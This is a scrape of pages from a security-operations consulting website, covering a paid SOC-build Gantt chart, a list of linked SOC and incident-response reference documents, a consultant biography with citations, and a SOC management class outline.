Chart](https://www.paypal.com/paypalme/CCrowMontance) 0 Establish SOC Project, Discover Organizational Information, Define Requirements 1w SOC Requirements and Organization Support 1w SOC Project Decision Making Model 2w Governance structure for SOC 2w Business Drivers 2w Legal Requirements 2w IR is part of SOC? 2mo Final Approval Mission Statement 2mo Organization position 4mo Defined Incident impact level in Policy 4mo Constituency defined 6mo Build SOC: Staff, Facility, Information Systems, Processes 8mo Staffing 9mo Technology Selection 9mo Purchasing 9mo SOC Facility construction 10mo Physical security for SOC equipment 11mo Analytical Methodology 11mo Interface to Incident Handling 12mo Metrics 12mo Playbook, Procedures, Specificity 14mo High Concern: Use Case Development Process 14mo High Concern: Hunting Program 15mo Threat Intelligence Processes 16mo Incident Response Processes 16mo Forensics Processes 16mo Self-Assessment 18mo Exercise - Develop and Execute 18mo Mentoring & Training Staff 18mo Threat Hunting 18mo APT response capability ## Purchase Details [License Terms. Please Download and review](content/pdf/license.pdf) License is either single entity or multiple entities. For single entity, you may use the chart for one organization's SOC build. For MSSPs or consulting firms, a minimum payment must be made per organization for each use. Pricing is sliding scale. Minimum of $35, maximum of $5,000. It is difficult to specify the appropriate price because organizations vary substantially in how they will use this. I prefer to have the information available to organizations who need it. You can pay the minimum ($35) and if it provided substantial value, pay more later.. Note, purchase of the chart does not entitle the purchaser to consulting regarding use of the chart. Note, no physical chart will be sent. An e-mail with the Gantt chart in Microsoft Project (mpp) file format will be sent. I send an email manually once I see the paypal notification, usually within 24 hours. [![](content/images/icons/gantt-chart.svg) Buy the Gantt Chart](https://www.paypal.com/paypalme/CCrowMontance) --- ## Source: https://montance.com/resources # Resources These references have been collected over time. Some are google drive folders that contain many documents. Some are websites that are external to this page. Content Types * All * PDF * XLS * PPT * DOC * JPG / PNG * VSDX * ZIP * TIF Displaying 0 Resource(s) No items were found matching the selected filters. Clear all filters [HP ArcSight SOC Metrics](https://drive.google.com/file/d/0B9l-G6EuipZgZlI4UlBrdlhwR1U/view?usp=sharing) [View and Ask Questions](questions.php?id=100) [HP Building A Successful SOC 2014](https://drive.google.com/file/d/0B9l-G6EuipZgbmlWa2JKOG1RekU/view?usp=sharing) [View and Ask Questions](questions.php?id=99) [IT Data Management Maturity Scale](https://drive.google.com/file/d/0B9l-G6EuipZgampxMkFxd3U4bGM/view?usp=sharing) [View and Ask Questions](questions.php?id=98) [HP Vision Cyber Security Analytics](https://drive.google.com/file/d/0B9l-G6EuipZgc0w1MzdzRndwLWM/view?usp=sharing) [View and Ask Questions](questions.php?id=97) [Log Collection Key Errors To Avoid](https://drive.google.com/file/d/0B9l-G6EuipZgR0JGeEtNWkZQOE0/view?usp=sharing) [View and Ask Questions](questions.php?id=96) [Carnegie Mellon University RFP Ex Outsourcing Managed Security Services](https://drive.google.com/file/d/0B9l-G6EuipZgZV8ya3dwNndxRUk/view?usp=sharing) [View and Ask Questions](questions.php?id=95) [HP 5g SOC SOC Generation](https://drive.google.com/file/d/0B9l-G6EuipZgZlM5NklnVGk2Z1E/view?usp=sharing) [View and Ask Questions](questions.php?id=94) [ANSSI French Regulation For SOC PDIS Referentiel V1.0 En](https://drive.google.com/file/d/0B9l-G6EuipZgUjVWMUZLM2Y0UTQ/view?usp=sharing) [View and Ask Questions](questions.php?id=93) [HP Building A Successful SOC](https://drive.google.com/file/d/0B9l-G6EuipZgeDR0eXk1SGFBVEk/view?usp=sharing) [View and Ask Questions](questions.php?id=92) [McAfee SOC Creating Maintaining SOC](https://drive.google.com/file/d/0B9l-G6EuipZgWlphX3hHbE1ocm8/view?usp=sharing) [View and Ask Questions](questions.php?id=91) [Cisco How To Build SOC](https://drive.google.com/file/d/0B9l-G6EuipZgTUY3bDBIcnIzUkk/view?usp=sharing) [View and Ask Questions](questions.php?id=90) [NIST Sp800 137 Final](https://drive.google.com/file/d/0B9l-G6EuipZgQ09CbG5WelAtQ2s/view?usp=sharing) [View and Ask Questions](questions.php?id=89) [HP Kill Chain Use Case](https://drive.google.com/file/d/0B9l-G6EuipZgTjVRNFFQVXRZYjg/view?usp=sharing) [View and Ask Questions](questions.php?id=88) [RSA SOC Ops Analysis & Design Service](https://drive.google.com/file/d/0B9l-G6EuipZgX3ctZXFKN1JuekE/view?usp=sharing) [View and Ask Questions](questions.php?id=87) [Nsa Windows Event Log Monitoring](https://drive.google.com/file/d/0B9l-G6EuipZgSFBPUmprWVZDbDQ/view?usp=sharing) [View and Ask Questions](questions.php?id=86) [HP Building Maturing And Rocking A SOC](https://drive.google.com/file/d/0B9l-G6EuipZgQ1pqanREQ1JCMmc/view?usp=sharing) [View and Ask Questions](questions.php?id=85) [Sans Log Review Maturity](https://drive.google.com/file/d/0B9l-G6EuipZgd2tPa1VpSlhCc1E/view?usp=sharing) [View and Ask Questions](questions.php?id=84) [Sans Capability Maturity Model Derive Security Requirements 1005](https://drive.google.com/file/d/0B9l-G6EuipZgX2hEbnYxSlUxUVE/view?usp=sharing) [View and Ask Questions](questions.php?id=83) [Sans SIEM Methodology](https://drive.google.com/file/d/0B9l-G6EuipZgTUttNm5KTFlvMkU/view?usp=sharing) [View and Ask Questions](questions.php?id=82) [Sans Top5logreports Extended](https://drive.google.com/file/d/0B9l-G6EuipZgRmpoekk5cmhJMlE/view?usp=sharing) [View and Ask Questions](questions.php?id=81) [Sans Top5 Logreports](https://drive.google.com/file/d/0B9l-G6EuipZgbVZ0VTdGMDVnS1k/view?usp=sharing) [View and Ask Questions](questions.php?id=80) [Solutionary Business Case For MSS 1100wp](https://drive.google.com/file/d/0B9l-G6EuipZgUDNqUm9heURXLXM/view?usp=sharing) [View and Ask Questions](questions.php?id=79) [Splunk APT Tech Brief](https://drive.google.com/file/d/0B9l-G6EuipZgejlMbmxwMmhMT2c/view?usp=sharing) [View and Ask Questions](questions.php?id=78) [Sans Six Things You Need To Consider Before Buying A Log Management Tool](https://drive.google.com/file/d/0B9l-G6EuipZgUE41SDNYN29lU1k/view?usp=sharing) [View and Ask Questions](questions.php?id=77) [HP State Of Security Operations 2015](https://drive.google.com/file/d/0B9l-G6EuipZgRjdVdDYzalQ1Vm8/view?usp=sharing) [View and Ask Questions](questions.php?id=76) [Sans Webcast Designing And Building A SOC In House Vs Out Sourcing](https://drive.google.com/file/d/0B9l-G6EuipZgRkxYVzdRellUOE0/view?usp=sharing) [View and Ask Questions](questions.php?id=75) [Secureworks Going The MSSp Route TCO Issues](https://drive.google.com/file/d/0B9l-G6EuipZgY3IxYk9wemxhSTg/view?usp=sharing) [View and Ask Questions](questions.php?id=74) [HP State Of Security Operations 2016](https://drive.google.com/file/d/0B9l-G6EuipZgeHVJVHBEUThaTUU/view?usp=sharing) [View and Ask Questions](questions.php?id=73) [NIST Sp800 92 Log Management](https://drive.google.com/file/d/0B9l-G6EuipZgUXlqTllFM01xWms/view?usp=sharing) [View and Ask Questions](questions.php?id=72) [RSAconf14 Analytics OpenSOC](https://drive.google.com/file/d/0B9l-G6EuipZgbV9IX1FJZ1lSdVU/view?usp=sharing) [View and Ask Questions](questions.php?id=71) [Sans Building World Class Security Operations Center Roadmap](https://drive.google.com/file/d/0B9l-G6EuipZgZndjdk1ma0RqNmM/view?usp=sharing) [View and Ask Questions](questions.php?id=70) [Sans C Level Support Ensure High Impact SOC Rollout](https://drive.google.com/file/d/0B9l-G6EuipZgZFhXSkRiRDhPb2M/view?usp=sharing) [View and Ask Questions](questions.php?id=69) [Sans Designing And Building A SOC Management Fundamentals](https://drive.google.com/file/d/0B9l-G6EuipZgemdvOXUwTWZKVUk/view?usp=sharing) [View and Ask Questions](questions.php?id=68) [Sans RSA Building World Class SOC Roadmap](https://drive.google.com/file/d/0B9l-G6EuipZgclBVeEVidkt5SWs/view?usp=sharing) [View and Ask Questions](questions.php?id=67) [Sans Sortingthrunoise](https://drive.google.com/file/d/0B9l-G6EuipZgZl9LN1JEN2ZJMms/view?usp=sharing) [View and Ask Questions](questions.php?id=66) [Sans Successful SIEM Log Management Strategies](https://drive.google.com/file/d/0B9l-G6EuipZgYXVVLU93X2FSZTQ/view?usp=sharing) [View and Ask Questions](questions.php?id=65) [Secureworks The Total Economic Impact Of MSS](https://drive.google.com/file/d/0B9l-G6EuipZgRVNTRnRkT3NtYjA/view?usp=sharing) [View and Ask Questions](questions.php?id=64) [Cyber Security Resources V20190605](https://drive.google.com/file/d/1PNryYiMuxYORbm2nnvYrfrYI9MZ-_pQ3/view?usp=sharing) [View and Ask Questions](questions.php?id=63) [MGT517 Links 4](https://drive.google.com/file/d/1dvTIOoS45I9hascHNdMPd88ACr2wXzSe/view?usp=sharing) [View and Ask Questions](questions.php?id=62) [MGT517 Links 1](https://drive.google.com/file/d/1LqLWGGdnI4T1vjY0hXPUMnP0qOrin7d0/view?usp=sharing) [View and Ask Questions](questions.php?id=61) [MGT517 Links 5](https://drive.google.com/file/d/1ewpHb95kSdjoFOe1ZzMvnX4zRgenpeTu/view?usp=sharing) [View and Ask Questions](questions.php?id=60) [MGT517 Links 2](https://drive.google.com/file/d/1leavKVIrfAykPwyn_lfPPCUFSoWZB24K/view?usp=sharing) [View and Ask Questions](questions.php?id=59) [MGT517 Links 3](https://drive.google.com/file/d/1jmUhAqvJ7k5z7wSk310qmTqyAyL9IWm5/view?usp=sharing) [View and Ask Questions](questions.php?id=58) [SOC Posture Improvement Report](https://docs.google.com/document/d/12ARfyCM2EkbsFfqbdbRRumJX8vr_wRuO/edit?usp=sharing) [View and Ask Questions](questions.php?id=57) [Analyst Baseball Card Crowley](https://docs.google.com/spreadsheets/d/1NSddbjLCvwUPKVVi8CRP75jHm4a8thRK/edit?usp=sharing) [View and Ask Questions](questions.php?id=56) [Technology Taxonomy](https://drive.google.com/file/d/1KSwlezxrfzUfwyFuX5_AqjpUilEmQgfq/view?usp=sharing) [View and Ask Questions](questions.php?id=53) [2020 06 15 Updated Tool Inventory](https://docs.google.com/spreadsheets/d/1FNVZ4226QhDhFIrzbu2jg3a_GolG8nLb/edit?usp=sharing) [View and Ask Questions](questions.php?id=52) [Charter With Webbug](https://docs.google.com/document/d/1sIL1-yH4Yrbm5Xu0c029qeh8GU7nwFUk/edit?usp=sharing) [View and Ask Questions](questions.php?id=50) [CSAguide V3.0](https://drive.google.com/file/d/0B9l-G6EuipZgSVREMjFRMjF4Qms/view?usp=sharing) [View and Ask Questions](questions.php?id=49) [Incident Cost](https://docs.google.com/spreadsheets/d/0B9l-G6EuipZgOTdSSEpfRFZZcWs/edit?usp=sharing) [View and Ask Questions](questions.php?id=48) [Damien Paul Books](https://drive.google.com/file/d/0B9l-G6EuipZgX0tVekVJTkhiR1k/view?usp=sharing) [View and Ask Questions](questions.php?id=47) [Damien Paul Links](https://drive.google.com/file/d/0B9l-G6EuipZgbWZka0xZcE4xcmc/view?usp=sharing) [View and Ask Questions](questions.php?id=46) [Cybertab Worksheet](https://drive.google.com/file/d/0B9l-G6EuipZgOHZRQ3lzMUhHWWM/view?usp=sharing) [View and Ask Questions](questions.php?id=45) [Cybertab My Report 06 26 2016](https://drive.google.com/file/d/0B9l-G6EuipZgWXZWeXc3M1BUa00/view?usp=sharing) [View and Ask Questions](questions.php?id=44) [Show On 2017 Incident Response Survey 37815](https://drive.google.com/file/d/0B9l-G6EuipZgWVNDanZmbDhxZzA/view?usp=sharing) [View and Ask Questions](questions.php?id=43) [Mandiant Report 0 South Carolina](https://drive.google.com/file/d/0B9l-G6EuipZgQXowVzdaMW41RFE/view?usp=sharing) [View and Ask Questions](questions.php?id=42) [Cultural Dimensions Hofstedeocs Pro Demo Report](https://drive.google.com/file/d/0B9l-G6EuipZgU09xWnh4QUdZQ1E/view?usp=sharing) [View and Ask Questions](questions.php?id=40) [US 16 Krug Hardening AWS Environments](https://drive.google.com/file/d/0B9l-G6EuipZgR21YWXJxSU1BV2c/view?usp=sharing) [View and Ask Questions](questions.php?id=39) [RSA Advanced SOC Solution Sans SOC Roadmap Whitepaper](https://drive.google.com/file/d/0B9l-G6EuipZgdGZ3SmY5eHBJSm8/view?usp=sharing) [View and Ask Questions](questions.php?id=38) [Magma UCF Tool](https://docs.google.com/spreadsheets/d/1e5Nu6rnUdEEgHJOARoMDkve-f0c7b84B/edit?usp=sharing) [View and Ask Questions](questions.php?id=37) [Lkr2015222](https://drive.google.com/file/d/14IgzSTXFcQ14pG_j657pV_lhvKwPHx2I/view?usp=sharing) [View and Ask Questions](questions.php?id=36) [Data Loss Tabletop Template](https://docs.google.com/document/d/1gHGxdKIM9x7jGB9I6uoaxJGWb7PZ8pKZ/edit?usp=sharing) [View and Ask Questions](questions.php?id=35) [Cyberrx2playbook Lvli](https://drive.google.com/file/d/17aLNjuvBMjY1wNnCqUkSxeRPAvB-eKdl/view?usp=sharing) [View and Ask Questions](questions.php?id=34) [Automation Incident Response Process Creating Effective Long Term Plan](https://drive.google.com/file/d/0B9l-G6EuipZgWTlXaDRmY2V0NUE/view?usp=sharing) [View and Ask Questions](questions.php?id=33) [Tabletop Interview](https://docs.google.com/document/d/1hAFtR8DpAwposrTSyyB1H6gb8-lPyCj0/edit?usp=sharing) [View and Ask Questions](questions.php?id=32) [Rp Verizon DBIR 2014 En Xg](https://drive.google.com/file/d/0B9l-G6EuipZgWXE3cU5kS050Tk0/view?usp=sharing) [View and Ask Questions](questions.php?id=31) [Free SCADA Training](https://drive.google.com/file/d/0B9l-G6EuipZgRFhGUnRrTURXNEU/view?usp=sharing) [View and Ask Questions](questions.php?id=29) [Informationweek Don't Get Burned 4 Steps To A Cloud SLA](https://drive.google.com/file/d/0B9l-G6EuipZgSkdLcUtXTmx6TDA/view?usp=sharing) [View and Ask Questions](questions.php?id=28) [Rp Data Breach Investigation Report 2015 En Xg](https://drive.google.com/file/d/0B9l-G6EuipZgamR0YXpSOTA2Xzg/view?usp=sharing) [View and Ask Questions](questions.php?id=27) [Security Certifications](https://docs.google.com/spreadsheets/d/1fA6ZIxhXRBsJlKhE95PX29iszc5uUXzt/edit?usp=sharing) [View and Ask Questions](questions.php?id=26) [Look At Closer](https://docs.google.com/document/d/1xsjbJN4pX9lC1CoZ9i4xa50Rdn1nVoDm/edit?usp=sharing) [View and Ask Questions](questions.php?id=25) [Swimlane Multisoc Generic US EU AUS](https://drive.google.com/file/d/1MY1-PVmmKap67MaghIdzlIXH1tZlfE0f/view?usp=sharing) [View and Ask Questions](questions.php?id=24) [Swimlane Multisoc Generic US EU AUS](https://drive.google.com/file/d/16z8eQmN_oQ3hanI3icR2mAnKhq_qYk0F/view?usp=sharing) [View and Ask Questions](questions.php?id=23) [Resilient Military Systems Cyber Threat](https://drive.google.com/file/d/1cTORwRw7T0srtgTVdLw7ElM2sP7_jp7x/view?usp=sharing) [View and Ask Questions](questions.php?id=22) [Zimmerman Mitre 10 Strategies Cyber Ops Center](https://drive.google.com/file/d/1wxpun9lU9T8bq3Z0wrppPsPyfF5ZdsO-/view?usp=sharing) [View and Ask Questions](questions.php?id=21) [2018 10 Links](https://drive.google.com/file/d/147M4VVGDc03F5mybdLCdFSHy9Z3AMNWb/view?usp=sharing) [View and Ask Questions](questions.php?id=20) [SOC Class Functional Area Swimlane Overall 2016 07 16 Old](https://drive.google.com/file/d/0B9l-G6EuipZgTWp5U3VpaW5XZlE/view?usp=sharing) [View and Ask Questions](questions.php?id=18) [SOC Class Functional Area Swimlane Overall 2016 07 16](https://drive.google.com/file/d/1RhjHhgS4-Qb0jbSghYgVN93wLbbE0rB0/view?usp=sharing) [View and Ask Questions](questions.php?id=17) [SOC Class Functional Area Swimlane Overall 2016 07 16](https://drive.google.com/file/d/11uvJ5XDUKDOEVkveY7m4aDvcLCuEYgMG/view?usp=sharing) [View and Ask Questions](questions.php?id=16) [SOC Class Functional Area Swimlane Overall 2016 07 16](https://drive.google.com/file/d/1QnrrPLJ2vHNmP66bJDbLuPGcxGHy2Wkz/view?usp=sharing) [View and Ask Questions](questions.php?id=15) [2020 05 SOAR SOC Process List](https://docs.google.com/spreadsheets/d/1JMEubjFg_ueExgTkJ66j5yqDDQgHfGjJ/edit?usp=sharing) [View and Ask Questions](questions.php?id=14) [Technology Selection List](https://docs.google.com/spreadsheets/d/1WZ6DMJdDft-Pzio1p8yj6UQr4hL3Pdg5/edit?usp=sharing) [View and Ask Questions](questions.php?id=13) [Supplement NICE Specialty Areas And Work Role KSAs And Tasks](https://docs.google.com/spreadsheets/d/12svrq2Kdk54m0xO2Lby_2OAOpEHxoclX/edit?usp=sharing) [View and Ask Questions](questions.php?id=12) [Illustrative Mapping Of Certifications To NICE Framework Version 1.0](https://docs.google.com/spreadsheets/d/1sCk6qTexJQHGq3h0E3u8X4sshoy9eKAq/edit?usp=sharing) [View and Ask Questions](questions.php?id=11) [Hackback A DIY Guide](https://drive.google.com/file/d/11gB4DhLBVv_FSjXg-p8as_mkKwr0oIvL/view?usp=sharing) [View and Ask Questions](questions.php?id=10) [White Paper Current State Of IPv6 Security In IoT](https://drive.google.com/file/d/12D6b1C_rLJZO_lrc17L_xB8kfaOVBOLT/view?usp=sharing) [View and Ask Questions](questions.php?id=9) [Picus & IBM Solution Brief](https://drive.google.com/file/d/12o5LSeQzEsEKMif8LLAkngpkJUUBWBFj/view?usp=sharing) [View and Ask Questions](questions.php?id=8) [Picus & VMware Carbon Black Sb (2020)](https://drive.google.com/file/d/12rW-vtpl9K-FDqSvlhcAlpz9PNkiYS9U/view?usp=sharing) [View and Ask Questions](questions.php?id=7) [Picus & Splunk Solution Brief](https://drive.google.com/file/d/12riG05_mgrohbyDiKVVsTaeNfTQsDElJ/view?usp=sharing) [View and Ask Questions](questions.php?id=6) [Cloud Security Practical Guide To Security In The AWS Cloud](https://drive.google.com/file/d/133YxcsKfx9iX-2ivVn702-immKBU1G0T/view?usp=sharing) [View and Ask Questions](questions.php?id=5) [Extending DevSecOps Security Controls Cloud Survey 39910](https://drive.google.com/file/d/136UoZi8hoEpYALi-atTYT-Dg5SnYMqys/view?usp=sharing) [View and Ask Questions](questions.php?id=4) [Phinphisher Hackback A DIY Guide](https://drive.google.com/file/d/138h6_8uyr2N2ukl2goroJG8jBgZzq9v5/view?usp=sharing) [View and Ask Questions](questions.php?id=3) [Cultural Dimensions Slide](https://docs.google.com/presentation/d/0B9l-G6EuipZgeEpiVjVFa19CeFU/edit?usp=sharing) [View and Ask Questions](questions.php?id=1) --- ## Source: https://montance.com/contact ## Contact us Get in touch with me for any queries or requests regarding the course Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. * ![](content/images/icons/location.svg) Montance® LLC 267 Kentlands Blvd #5111 Gaithersburg, MD, USA 20878 * ![](content/images/icons/phone.svg) [+1-302-495-9090](tel:+1-302-495-9090) [ Current time ] * ![](content/images/icons/mail.svg) [chris@montance.com](mailto:chris@montance.com) * Follow Montance® on [![](content/images/icons/youtube.svg)](https://www.youtube.com/channel/UCZBVlN-16t4PfQGlYJ5SrdQ) [![](content/images/icons/linkedin.svg)](https://www.linkedin.com/company/montance) [![](content/images/icons/twitter.svg)](https://twitter.com/ccrowmontance) --- ## Source: https://montance.com/content/pdf/Christopher Crowley Profile.pdf **[PDF Extracted from https://montance.com/content/pdf/Christopher Crowley Profile.pdf]** Christopher Crowley Occupation: Cybersecurity Consultant via Montance® LLC Associations: Senior Instructor (SANS Institute), IANS Faculty Known For: Security Operations Center (SOC) Management including Automation and Artificial Intelligence / Machine Learning, SANS Annual SOC Survey, Incident Response, and Mobile Device Analysis. Summary Christopher Crowley is an American cybersecurity consultant, educator, and author known for his specialized work in Security Operations Centers (SOCs) , incident response management, and mobile security. He is the founder of the cybersecurity consulting firm Montance® LLC and a Senior Instructor at the SANS Institute , where he has authored significant industry curricula regarding the design and management of security operations. He also serves as Faculty for IANS Research , a Boston, Massachusetts-based research and advisory firm, through which he provides consulting services to Fortune 500 companies. Crowley is distinct in the cybersecurity industry for his academic background in the humanities, which he leverages to bridge the gap between technical operations and executive business strategy. He is the lead author of the SANS Annual SOC Survey , a primary benchmark for the information security industry. Early Experience and Education Crowley was raised in Massachusetts. His technical career began at age 15, when he precociously secured his first job in IT as a systems administrator for Ultrix and VMS (VAX/Virtual Memory System) environments at the Massachusetts Microelectronics Center , a government/private consortium for developing open source software for integrated circuit chip design and fabricating them in an on-premises photolithography facility. This early experience pre-dates widespread internet adoption . He attended Algonquin Regional High School in Northborough, Massachusetts, graduating in 1991. He then attended Tulane University in New Orleans, Louisiana, where his academic path combined liberal arts with information systems: ● Bachelor of Arts (B.A.) in English (1991–1996) ● Bachelor of Science (B.S.) in Computer Information Systems (1997–2000) The Hurricane Katrina Experience (2005): While working at Tulane University, Crowley was present during Hurricane Katrina . He played a critical role in the university's disaster recovery efforts, performing on-site data recovery and network restoration in the aftermath of the storm. This real-world crisis management experience profoundly influenced his later teachings on incident response and business continuity. Professional Career Early Technical Roles (1997–2007) ● WTUL New Orleans 91.5 FM (1997–2000): Prior to entering the commercial sector, Crowley served as the General Manager of WTUL, a 24x7 volunteer-run, FCC-licensed radio station. He chose this role over paying employment due to his deep love of music and interest in non-commercial, community-driven endeavors. ● Tulane University: Crowley worked in network operations, handling early-era cybersecurity incidents, including investigations coordinated with the FBI regarding compromised university systems. ● TerpSys (2007): Served as a Network Engineer focusing on infrastructure stability for National Institute of Health’s National Cancer Institute Center for Bioinformatics (NIH NCICB). Federal and Enterprise Security (2007–2012) ● U.S. Department of Energy (DOE) – Office of Science, Office of the Chief Information Officer: Served as a Cyber Security Analyst, securing high-value government networks and research infrastructure. Energy Enterprise Services: Worked as an Incident Response Analyst, managing active cyber threats for energy sector clients. ● U.S. Department of Defense (DOD) - Defense Information Systems Agency Field Service Operations (DISA FSO): Training of staff and evaluation of USDOD computer network defense service provider operations. ● U.S. Department of Defense (DOD) - Department of Testing & Evaluation (Office of the Secretary of Defense): Special projects for evaluation and testing, and defensive uplift of USDOD assets. SANS Institute (2006–Present) Crowley is a Senior Instructor and a prolific author of courseware and within the Analyst program. ● Awards: SANS Local Mentor of the Year (2009). ● Key Contributions: Developed a highly reference framework for SOC metrics and frequently keynotes at SANS Summits in both offensive and defensive cybersecurity topics . ● Teaches or taught : SEC401, SEC503, SEC504, SEC511, MGT517, MGT535, SEC560, SEC575, SEC580, FOR585, SEC595 Montance® LLC (2011–Present) In 2011, Crowley founded Montance® LLC , a boutique consulting firm based in the Washington, D.C. area. The firm specializes in "technological and operational excellence," advising clients to build SOCs based on robust processes rather than focusing on vendor tooling. Personal Interests ● Athletics: An avid mountain biker, motorcycle rider, and rock climber, Crowley often draws parallels between the risk assessment required in high performance activities and cybersecurity operations. ● Interests: A self-described "epicurean" with a passion for culinary arts; he worked in restaurants starting from a young age. He frequently incorporates references to literature and narrative structure in his technical teaching. Selected Presentations For an authoritative and extensive list of presentations, webcasts, and slide decks, refer to Montance.com/Presentations . Crowley is a frequent keynote speaker and panelist at major cybersecurity conferences. His presentation topics often focus on SOC architecture, analyst burnout, and the integration of emerging technologies like AI/ML into defense strategies. ● "Cybersecurity Operations Center Technology Taxonomy" (RSA Conference, SESSION ID: AIR-T07 ) ○ Description: A proposal for a comprehensive technology taxonomy mapped to existing models like NIST CSF and MITRE ATT&CK. ○ Video link: https://www.youtube.com/watch?v=nXgCxJC-a4w , Document link: https://drive.google.com/file/d/1LAg4d798c7MhamiUace2TEkh4puzevYx/view ● "SOC Metrics" (FIRST Conference 2019) ○ Co-Presenter: Carson Zimmerman ○ Topic: Defining and implementing effective metrics for Security Operations Centers. ○ Link: https://www.first.org/conference/2019/program (Session: Cyber Security Operations Center Metrics) ● "The Evolution of Security Operations" (Cyber PMM / Industry Conferences) ○ Topic: Historical analysis and future trends in SOC management. ● "Integrating AI/ML into SOC Detection Engineering" (SANS Security Central Keynote) ○ Topic: Practical applications of artificial intelligence for threat detection. ● "Mobile Attack Surface & Assessments" (SANS Webcast) ○ Topic: Frameworks for guiding assessments of mobile vulnerabilities and risk. ● "Excellent Architecture: Avoid Common Mistakes in Security Operations" ○ Topic: Structural and process failures common in modern SOC builds. ● "Anomaly Detection within Machine Learning on Logs" ○ Topic: Technical implementation of variational autoencoders for log analysis. ● "Future-Proof Your SOC: Instantly Operationalize Emerging Threats" (Panel Moderator) ○ Topic: Strategies for rapid response to zero-day threats and news-cycle vulnerabilities. Selected Bibliography Books (Contributor) ● "Hacking Exposed Wireless: Wireless Security Secrets & Solutions, 3rd Edition" ○ Role: Technical Contributor/Acknowledgments ○ Publisher: McGraw-Hill Education (2015) Authored Courseware (SANS Institute) ● MGT517: Managing Security Operations: Detection, Response, and Intelligence ○ Description: The industry-standard course for designing and running a modern Security Operations Center. ● MGT535: Incident Response Team Management ○ Description: A specialized curriculum for leadership during high-pressure cyber incidents. ● SOC-Class (soc-class.com) ○ Description: Independent educational platform for SOC design, build, and operational maturity. Key Industry Reports Crowley is the lead author and analyst for the SANS Annual SOC Survey , which polls hundreds of organizations globally to establish benchmarks. ● SANS 2024 SOC Survey ● SANS 2023 SOC Survey: SOC Capabilities, Funding, Staffing, and Challenges ● SOC Survey 2017-2022 Citation Data (APA & BibTeX) 1. Books APA: Crowley, C. (2015). Technical Contributions. In J. Wright & J. Cache, Hacking Exposed Wireless: Wireless Security Secrets & Solutions (3rd ed.). McGraw-Hill Education. BibTeX: @inbook{Crowley2015Hacking, author = {Crowley, Christopher}, editor = {Wright, Joshua and Cache, Johnny}, title = {Technical Contributions and Acknowledgments}, booktitle = {Hacking Exposed Wireless: Wireless Security Secrets & Solutions}, edition = {3rd}, publisher = {McGraw-Hill Education}, year = {2015}, isbn = {978-0071848442} } 2. Industry Reports APA: Crowley, C. (2024). SANS 2024 SOC Survey: Facing Top Challenges in Security Operations . SANS Institute Reading Room. https://www.sans.org/reading-room BibTeX: @techreport{Crowley2024SOC, author = {Crowley, Christopher}, title = {SANS 2024 SOC Survey: Facing Top Challenges in Security Operations}, institution = {SANS Institute}, year = {2024}, type = {Survey Report}, url = {[https://www.sans.org/reading-room](https://www.sans.org/reading-room)} } 3. Courseware APA: Crowley, C. (n.d.). MGT517: Managing Security Operations: Detection, Response, and Intelligence [Computer software courseware]. SANS Institute. BibTeX: @misc{CrowleyMGT517, author = {Crowley, Christopher}, title = {MGT517: Managing Security Operations: Detection, Response, and Intelligence}, howpublished = {SANS Institute Courseware}, note = {Primary Author} } 4. Articles APA: Crowley, C. (2017, March). What Your SecOps Team Can (and Should) Do. Dark Reading . https://www.darkreading.com/ BibTeX: @article{Crowley2017SecOps, author = {Crowley, Christopher}, title = {What Your SecOps Team Can (and Should) Do}, journal = {Dark Reading}, year = {2017}, month = {March}, url = {[https://www.darkreading.com/author/chris-crowley](https://www.darkreading.com/author/chr is-crowley)} } --- ## Source: https://montance.com/newsletter.php **SOC-Class Mailing List Signup** Subscribe [Email Marketing](https://www.benchmarkemail.com/email-marketing?utm_source=signupform&utm_campaign=fullembedform) by Benchmark --- ## Source: https://montance.com/privacy # Privacy Montance® LLC is a trusted independent Information Security partner providing cybersecurity assessment, and framework development services enabling clients to create a new SOC, or improve existing security operations. Montance® LLC takes your privacy seriously. We collect information to be able to perform contracting for services, to deliver classes, and to maintain contact with those who wish to be contacted. Montance® LLC will remove your information from any future communication upon request, but may utilize and retain information for billing and records as required by law. --- ## Source: https://montance.com/content/pdf/soc-class-justification.pdf **[PDF Extracted from https://montance.com/content/pdf/soc-class-justification.pdf]** Rev. 2019-08-15-000 Page | 1 SOC-Class Executive Summary The class provides the following:  Guidance on business orientation, use case development, hunting techniques  Reference model for all functions of a SOC: monitoring, response, intelligence, metrics  Guidance on developing internal capability and strategic outsourcing  Detailed discussion of technology, process, and analytical staff relations and optimization  Sequence of actions for building a SOC, or cross reference an established SOC’s maturity This course provides a comprehensive picture of a Cyber Security Operations Center (CSOC or SOC). Discussion on the technology needed to run a SOC are handled in a vendor agnostic way. In addition, technology is addressed in a way that attempts to address both minimal budgets as well as budgets with global scope. Staff roles needed are enumerated. Informing and training staff through internal training and information sharing is addressed. The interaction between functional areas and data exchanged is detailed. Processes to coordinate the technology, the SOC staff, and the business are enumerated. After attending this class, the participant will have a roadmap (and Gantt chart) for what needs to be done in the organization seeking to implement security operations. Ideally, attendees will be SOC managers, team leads in security specializations or lead technical staff, security architects. CIO, CISO or CSO (Chief Security Officer) is the highest level in the organization appropriate to attend. The inclusion of all functional areas of security operations is intended to develop a standardized program for an organization and express all necessary capabilities. Admittedly ambitious, the intention of the class is to provide a unified picture of coordination among teams with different skillsets to help the business prevent loss due to poor security practices. I have encountered detrimental compartmentalization in most organizations. There is a tendency for a specialist to look only at her piece of the problem, without understanding the larger scope of information security within an organization. Organizations are likely to perceive a security operations center as a tool, and not the unification of people, processes, and technologies. This class is not technical in nature, but someone without knowledge of IT common practices and Information Security fundamentals (such as the Confidentiality, Integrity, and Availability triad) will be lost very quickly. This is not a class to send SOC analysts, but is great for the technical lead and manager. Register: https://www.soc-class.com Rev. 2019-08-15-000 Page | 2 Topic List  Class Orientation o A Story About Telling Stories o First Principles and Terminology  Business Alignment o Steering Committee – Phase 1: Design o Requirements o Impact o Charter  SOC Design o Functional Components o Presumed Organizational Support Functions o Functional Arrangements o Operational and Architectural Considerations o SOC Organizational Position o Multi SOC Models o SOC and IT Relations o Size and Maturity o Size: What Does It Look Like? o Outsourcing Advice  Overall Program of Operations o Intro o Command Center o Network Security Monitoring o Threat Intelligence o Incident Response o Forensics o Self-Assessment  Business Alignment (2) o Defensive Topology o Steering Committee: Phase 2: Build  SOC Design o Functional Area Work Products o Technology Selection o Physical SOC Build o Technology Selection o Cultural and Organizational Influence on SOC Requirements and Performance o Orchestration and Automation  Analysis o Analytical Methodology for the SOC o Applied ACH o Available Frameworks for Analysis o Analytical Methodology: Wrap Up  Staff o Roles o Hiring o Onboarding o Training o Meetings o Retention  Operations o Tempo o Pre-Forensics 